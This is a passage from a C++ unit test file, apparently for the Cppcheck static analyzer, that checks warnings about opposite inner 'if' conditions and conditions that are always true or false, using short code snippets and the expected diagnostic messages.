predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:22]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" if (a % 2 + b % 2 == 2)\\n\"\n \" foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerCondition() {\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(a!=b)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"bool foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" return a!=b;\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:17]: (warning) Opposite inner 'return' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(b!=a)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a < 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #4186\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a > 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 4170\n check(\"class foo {\\n\"\n \" void bar() {\\n\"\n \" if (tok == '(') {\\n\"\n \" next();\\n\"\n \" if (tok == ',') {\\n\"\n \" next();\\n\"\n \" if (tok != ',') {\\n\"\n \" op->reg2 = asm_parse_reg();\\n\"\n \" }\\n\"\n \" skip(',');\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void next();\\n\"\n \" const char *tok;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i)\\n\"\n \"{\\n\"\n \" if(i > 5) {\\n\"\n \" i = bar();\\n\"\n \" if(i < 5) {\\n\"\n \" cout << a;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i) {\\n\"\n \" i=6;\\n\"\n \"}\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(const int &i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:6:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class C { void f(int &i) const; };\\n\" // #7028 - variable is changed by const method\n \"void foo(C c, int i) {\\n\"\n \" if (i==5) {\\n\"\n \" c.f(i);\\n\"\n \" if (i != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // see linux revision 1f80c0cc\n check(\"int generic_write_sync(int,int,int);\\n\"\n \"\\n\"\n \"void cifs_writev(int i) {\\n\"\n \" int rc = __generic_file_aio_write();\\n\"\n \" if (rc > 0){\\n\"\n \" err = generic_write_sync(file, iocb->ki_pos - rc, rc);\\n\"\n \" if(rc < 0) {\\n\" // <- condition is always false\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:11] -> [test.cpp:7:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n\n // #5874 - array\n check(\"void testOppositeConditions2() {\\n\"\n \" int array[2] = { 0, 0 };\\n\"\n \" if (array[0] < 2) {\\n\"\n \" array[0] += 5;\\n\"\n \" if (array[0] > 2) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6227 - FP caused by simplifications of casts and known variables\n check(\"void foo(A *a) {\\n\"\n \" if(a) {\\n\"\n \" B *b = dynamic_cast(a);\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a) {\\n\"\n \" int b = a;\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:2:7] -> [test.cpp:4:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(unsigned u) {\\n\"\n \" if (u != 0) {\\n\"\n \" for (int i=0; i<32; i++) {\\n\"\n \" if (u == 0) {}\\n\" // <- don't warn\n \" u = x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8186\n check(\"void f() {\\n\"\n \" for (int i=0;i<4;i++) {\\n\"\n \" if (i==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #8938\n check(\"void Delete(SS_CELLCOORD upperleft) {\\n\"\n \" if ((upperleft.Col == -1) && (upperleft.Row == -1)) {\\n\"\n \" GetActiveCell(&(upperleft.Col), &(upperleft.Row));\\n\"\n \" if (upperleft.Row == -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9702\n check(\"struct A {\\n\"\n \" void DoTest() {\\n\"\n \" if (!IsSet()) {\\n\"\n \" m_value = true;\\n\"\n \" if (IsSet());\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool IsSet() const { return m_value; }\\n\"\n \" bool m_value = false;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12725\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return !b;\\n\"\n \" b = g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:16]: (style) Return value '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerConditionPointers() {\n check(\"void f(struct ABC *abc) {\\n\"\n \" struct AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" do_something(abc);\\n\" // might change ab->a\n \" if (ab->a != 123) {\\n\"\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fred::f() {\\n\" // daca: ace\n \" if (this->next_ == map_man_->table_) {\\n\"\n \" this->next_ = n;\\n\"\n \" if (this->next_ != map_man_->table_) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(float *f) {\\n\" // #7405\n \" if(*f>10) {\\n\"\n \" (*f) += 0.1f;\\n\"\n \" if(*f<10) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int * f(int * x, int * y) {\\n\"\n \" if(!x) return x;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionClass() {\n // #6095 - calling member function that might change the state\n check(\"void f() {\\n\"\n \" const Fred fred;\\n\" // <- fred is const, warn\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:5:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class Fred { public: bool isValid() const; void dostuff() const; };\\n\"\n \"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\" // <- dostuff() is const, warn\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:19] -> [test.cpp:6:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6385 \"crash in Variable::getFlag()\"\n check(\"class TranslationHandler {\\n\"\n \"QTranslator *mTranslator;\\n\"\n \"void SetLanguage() {\\n\"\n \" if (mTranslator) {\\n\"\n \" qApp->removeTranslator(mTranslator);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str()); // just don't crash...\n\n check(\"bool f(std::ofstream &CFileStream) {\\n\" // #8198\n \" if(!CFileStream.good()) { return; }\\n\"\n \" CFileStream << \\\"abc\\\";\\n\"\n \" if (!CFileStream.good()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionUndeclaredVariable() {\n // #5731 - fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (x == -1){\\n\"\n \" x = do_something();\\n\"\n \" if (x != -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5750 - another fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (r < w){\\n\"\n \" r += 3;\\n\"\n \" if (r > w) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6574 - another fp when undeclared variable is used\n check(\"void foo() {\\n\"\n \" if(i) {\\n\"\n \" i++;\\n\"\n \" if(!i) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // undeclared array\n check(\"void f(int x) {\\n\"\n \" if (a[x] > 0) {\\n\"\n \" a[x] -= dt;\\n\"\n \" if (a[x] < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6313 - false positive: opposite conditions in nested if blocks when condition changed\n check(\"void Foo::Bar() {\\n\"\n \" if(var){\\n\"\n \" --var;\\n\"\n \" if(!var){}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca hyphy\n check(\"bool f() {\\n\"\n \" if (rec.lLength==0) {\\n\"\n \" rec.Delete(i);\\n\"\n \" if (rec.lLength!=0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionAlias() {\n check(\"void f() {\\n\"\n \" struct S s;\\n\"\n \" bool hasFailed = false;\\n\"\n \" s.status = &hasFailed;\\n\"\n \"\\n\"\n \" if (! hasFailed) {\\n\"\n \" doStuff(&s);\\n\"\n \" if (hasFailed) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) Condition '!hasFailed' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerCondition2() {\n // first comparison: <\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x==5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x!=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x==4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=6) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=6' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // first comparison: >\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x==4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 4) {\\n\"\n \" if (10 < x) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerCondition3() {\n check(\"void f3(char c) { if(c=='x') if(c=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:34]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f4(char *p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:37]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38] -> [test.cpp:1:50]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if('x'==*p) if('y'==*p) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:51]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f6(char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f7(const char * p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f8(int i) { if(i==4) if(i==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:22] -> [test.cpp:1:31]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f9(int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f10(int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:33] -> [test.cpp:1:43]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f11(const int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:42]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f12(const int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:49]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==2) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==4) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(char a, char b) { if(a==b) if(a==0) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { if (x == 1) if (x != 1) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionAnd() {\n check(\"void f(int x) {\\n\"\n \" if (a>3 && x > 100) {\\n\"\n \" if (x < 10) {}\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f(bool x, const int a, const int b) {\\n\"\n \" if(x && a < b)\\n\"\n \" if( x && a > b){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:3:19]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionOr()\n {\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string x) {\\n\"\n \" if (x == \\\"1\\\" || x == \\\"2\\\") {\\n\"\n \" if (x == \\\"1\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 || x > 3) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n }\n\n void oppositeInnerConditionEmpty() {\n check(\"void f1(const std::string &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:61]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() > 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 0) if(s.empty()) {}} \"); // <- CheckOther reports: checking if unsigned expression is less than zero\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"template void f1(const T &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str()); //We don't know the type of T so we don't know the relationship between size() and empty(). e.g. s might be a 50 tonne truck with nothing in it.\n\n check(\"void f2(const std::wstring &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:44] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(QString s) { if(s.isEmpty()) if(s.length() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:34] -> [test.cpp:1:52]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s, bool b) { if(s.empty() || ((s.size() == 1) && b)) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(x.size() > 42) if(y.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(y.empty()) if(x.size() > 42) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string v[10]) { if(v[0].size() > 42) if(v[1].empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() >= 0) if(s.empty()) {}} \"); // CheckOther says: Unsigned expression 's.size()' can't be negative so it is unnecessary to test it. [unsignedPositive]\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() <= 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() < 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionFollowVar() {\n check(\"struct X {\\n\"\n \" void f() {\\n\"\n \" const int flag = get();\\n\"\n \" if (flag) {\\n\"\n \" bar();\\n\"\n \" if (!get()) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void bar();\\n\"\n \" int get() const;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct CD {\\n\"\n \" bool state;\\n\"\n \" void foo() {\\n\"\n \" const bool flag = 